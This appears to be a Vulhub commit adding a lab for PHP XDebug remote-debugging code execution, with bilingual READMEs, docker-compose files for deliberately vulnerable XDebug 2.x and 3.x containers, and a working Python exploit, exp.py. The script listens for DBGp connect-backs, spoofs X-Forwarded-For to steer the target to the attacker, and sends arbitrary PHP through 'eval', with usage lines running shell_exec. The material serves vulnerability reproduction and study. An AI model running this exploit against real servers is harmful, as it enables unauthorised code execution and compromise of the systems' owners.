first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
php/xdebug-rce/1.png
Normal file
BIN
php/xdebug-rce/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 72 KiB |
66
php/xdebug-rce/README.md
Normal file
66
php/xdebug-rce/README.md
Normal file
@@ -0,0 +1,66 @@
|
||||
# PHP XDebug Remote Debugging Code Execution
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
XDebug is a PHP extension used for debugging PHP code. When remote debugging mode is enabled with appropriate settings, an attacker can execute arbitrary PHP code on the target server by exploiting the debug protocol (DBGp).
|
||||
|
||||
For XDebug version 2.x, the vulnerability occurs when the following configuration is enabled:
|
||||
|
||||
```ini
|
||||
xdebug.remote_connect_back = 1
|
||||
xdebug.remote_enable = 1
|
||||
```
|
||||
|
||||
For XDebug version 3.x (which introduced breaking changes in configuration), the equivalent vulnerable configuration is:
|
||||
|
||||
```ini
|
||||
xdebug.mode = debug
|
||||
xdebug.discover_client_host = 1
|
||||
xdebug.client_host = 1
|
||||
```
|
||||
|
||||
When these configurations are enabled, XDebug will attempt to connect back to the attacker's IP through the DBGp protocol when a client visits the appropriate trigger URL. The DBGp protocol provides an `eval` function that can be used to execute arbitrary PHP code.
|
||||
|
||||
References:
|
||||
|
||||
- <https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>
|
||||
- <https://xdebug.org>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to build and start the vulnerable environment:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
The environment includes two services:
|
||||
|
||||
- PHP 7.1 with XDebug 2.5.5: Accessible at `http://your-ip:8080/`
|
||||
- PHP 7.4 with XDebug 3.1.6: Accessible at `http://your-ip:8081/`
|
||||
|
||||
After the environment is started, visit each URL to see a simple phpinfo page. You can verify that XDebug is enabled and configured for remote debugging in the PHP configuration section.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
Since the vulnerability requires communication using the DBGp protocol with the target server, it cannot be reproduced using HTTP protocol alone.
|
||||
|
||||
A proof-of-concept exploit script [exp.py](exp.py) is provided that can execute arbitrary PHP code on the target server. The script supports both XDebug 2.x (port 9000) and XDebug 3.x (port 9003):
|
||||
|
||||
```bash
|
||||
# Requires Python 3 and the requests library
|
||||
python3 exp.py -t http://[target-ip]:8080/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
|
||||
python3 exp.py -t http://[target-ip]:8081/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
|
||||
```
|
||||
|
||||
Successful exploitation will execute the command and return its output:
|
||||
|
||||

|
||||
|
||||
### Important Notes
|
||||
|
||||
The exploitation process involves a reverse connection:
|
||||
|
||||
1. The exploit script listens on port 9000 (XDebug 2.x) and port 9003 (XDebug 3.x), please make sure these ports are not blocked by the firewall
|
||||
2. You have to have a public IP address or be in the same network as the target
|
||||
3. If your public IP differs from your local machine, use the `--dbgp-ip` parameter to specify the IP address that the target server can reach
|
64
php/xdebug-rce/README.zh-cn.md
Normal file
64
php/xdebug-rce/README.zh-cn.md
Normal file
@@ -0,0 +1,64 @@
|
||||
# PHP XDebug远程调试导致代码执行漏洞
|
||||
|
||||
XDebug是一个用于调试PHP代码的扩展。当启用远程调试模式并设置适当的配置时,攻击者可以通过利用调试协议(DBGp)在目标服务器上执行任意PHP代码。
|
||||
|
||||
对于XDebug 2.x版本,当配置如下时存在漏洞:
|
||||
|
||||
```ini
|
||||
xdebug.remote_connect_back = 1
|
||||
xdebug.remote_enable = 1
|
||||
```
|
||||
|
||||
对于XDebug 3.x版本,当配置如下时存在漏洞:
|
||||
|
||||
```ini
|
||||
xdebug.mode = debug
|
||||
xdebug.discover_client_host = 1
|
||||
xdebug.client_host = 1
|
||||
```
|
||||
|
||||
当启用这些配置时,XDebug会在接收到`XDEBUG_SESSION_START`、`XDEBUG_SESSION`、`XDEBUG_TRIGGER`等参数时,尝试通过DBGp协议连接回攻击者的IP。该协议提供了一个`eval`函数,可用于执行任意PHP代码。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>
|
||||
- <https://xdebug.org>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令编译并启动漏洞环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
该环境包含两个服务:
|
||||
|
||||
- PHP 7.1 + XDebug 2.5.5:可通过`http://your-ip:8080/`访问
|
||||
- PHP 7.4 + XDebug 3.1.6:可通过`http://your-ip:8081/`访问
|
||||
|
||||
环境启动后,访问各个URL可以看到一个简单的phpinfo页面。在PHP配置部分可以验证XDebug已启用并配置了远程调试功能。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
由于漏洞需要使用DBGp协议与目标服务器通信,所以无法仅使用HTTP协议复现漏洞。
|
||||
|
||||
Vulhub提供了一个简单的漏洞利用脚本[exp.py](exp.py),可以在目标服务器上执行任意PHP代码。该脚本同时支持XDebug 2.x(端口9000)和XDebug 3.x(端口9003):
|
||||
|
||||
```bash
|
||||
# 需要Python 3和requests库
|
||||
python3 exp.py -t http://[target-ip]:8080/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
|
||||
python3 exp.py -t http://[target-ip]:8081/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
|
||||
```
|
||||
|
||||
成功利用漏洞后将执行命令并返回输出:
|
||||
|
||||

|
||||
|
||||
### 重要说明
|
||||
|
||||
漏洞利用过程涉及反向连接:
|
||||
|
||||
1. 利用脚本同时监听9000端口(XDebug 2.x)和9003端口(XDebug 3.x),请确保这些端口没有被防火墙阻止
|
||||
2. 你需要有一个公网IP地址或与目标在同一网络中才能接收到连接
|
||||
3. 如果你的公网IP与本地机器不同,请使用`--dbgp-ip`参数指定目标服务器可以访问的IP地址
|
13
php/xdebug-rce/docker-compose.yml
Normal file
13
php/xdebug-rce/docker-compose.yml
Normal file
@@ -0,0 +1,13 @@
|
||||
services:
|
||||
xdebug2:
|
||||
image: vulhub/php:7.1-xdebug
|
||||
ports:
|
||||
- "8080:80"
|
||||
volumes:
|
||||
- ./index.php:/var/www/html/index.php
|
||||
xdebug3:
|
||||
image: vulhub/php:7.4-xdebug
|
||||
ports:
|
||||
- "8081:80"
|
||||
volumes:
|
||||
- ./index.php:/var/www/html/index.php
|
120
php/xdebug-rce/exp.py
Normal file
120
php/xdebug-rce/exp.py
Normal file
@@ -0,0 +1,120 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import requests
|
||||
import argparse
|
||||
import socket
|
||||
import base64
|
||||
import binascii
|
||||
import socketserver
|
||||
import threading
|
||||
import logging
|
||||
|
||||
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(levelname)s - %(message)s')
|
||||
server_done = threading.Event()
|
||||
server_started = threading.Event()
|
||||
|
||||
|
||||
def recv_xml(sock: socket.socket) -> bytes:
|
||||
blocks = []
|
||||
data = b''
|
||||
while True:
|
||||
try:
|
||||
data = data + sock.recv(1024)
|
||||
except socket.error as e:
|
||||
break
|
||||
if not data:
|
||||
break
|
||||
|
||||
while data:
|
||||
eop = data.find(b'\x00')
|
||||
if eop < 0:
|
||||
break
|
||||
blocks.append(data[:eop])
|
||||
data = data[eop+1:]
|
||||
|
||||
if len(blocks) >= 4:
|
||||
break
|
||||
|
||||
return blocks[3]
|
||||
|
||||
|
||||
class XDebugRequestHandler(socketserver.BaseRequestHandler):
|
||||
def handle(self):
|
||||
logging.info('[+] Recieve data from %s', self.client_address)
|
||||
self.request.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(self.server.code.encode()), b'\x00']))
|
||||
data = recv_xml(self.request)
|
||||
logging.info('[+] Recieve data: ' + data.decode())
|
||||
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
|
||||
if not g:
|
||||
logging.warning('[-] No result...')
|
||||
return
|
||||
|
||||
data = g.group(1)
|
||||
try:
|
||||
logging.info('[+] Result: ' + base64.b64decode(data).decode())
|
||||
server_done.set()
|
||||
except binascii.Error as e:
|
||||
logging.error('[-] May be not string result: %s', e)
|
||||
|
||||
|
||||
class XDebugServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
def __init__(self, server_address, handler_class, code):
|
||||
self.code = code
|
||||
self.allow_reuse_address = True
|
||||
super().__init__(server_address, handler_class)
|
||||
|
||||
def server_activate(self):
|
||||
super().server_activate()
|
||||
logging.info('[+] Server %s started', self.server_address)
|
||||
server_started.set()
|
||||
|
||||
|
||||
def start_dbgp_server(port: int, code: str):
|
||||
server = XDebugServer(('0.0.0.0', port), XDebugRequestHandler, code)
|
||||
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||
server_thread.start()
|
||||
|
||||
return server_thread
|
||||
|
||||
|
||||
def trigger_debug_session(url: str, attack_ip: str):
|
||||
try:
|
||||
server_started.wait(timeout=5)
|
||||
logging.info('[+] Trigger debug session')
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0'
|
||||
}
|
||||
if attack_ip:
|
||||
headers['X-Forwarded-For'] = attack_ip
|
||||
|
||||
requests.get(url + '?XDEBUG_SESSION_START=phpstorm&XDEBUG_SESSION=1&XDEBUG_TRIGGER=1', headers=headers, timeout=5)
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
|
||||
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
|
||||
parser.add_argument('-t', '--target', required=True, help='target url.')
|
||||
parser.add_argument('--dbgp-ip', default='', help='dbgp server ip address, must can be accessed from target server.')
|
||||
args = parser.parse_args()
|
||||
|
||||
start_dbgp_server(9000, args.code)
|
||||
start_dbgp_server(9003, args.code)
|
||||
threading.Thread(target=trigger_debug_session, args=(args.target, args.dbgp_ip), daemon=True).start()
|
||||
try:
|
||||
# Wait with a timeout, but check for interrupts
|
||||
for i in range(20):
|
||||
if server_done.is_set():
|
||||
break
|
||||
time.sleep(0.5)
|
||||
else:
|
||||
logging.error('[-] Execution timed out')
|
||||
except KeyboardInterrupt:
|
||||
logging.info('[*] Received keyboard interrupt, exiting...')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
2
php/xdebug-rce/index.php
Normal file
2
php/xdebug-rce/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php
|
||||
phpinfo();
|
Reference in New Issue
Block a user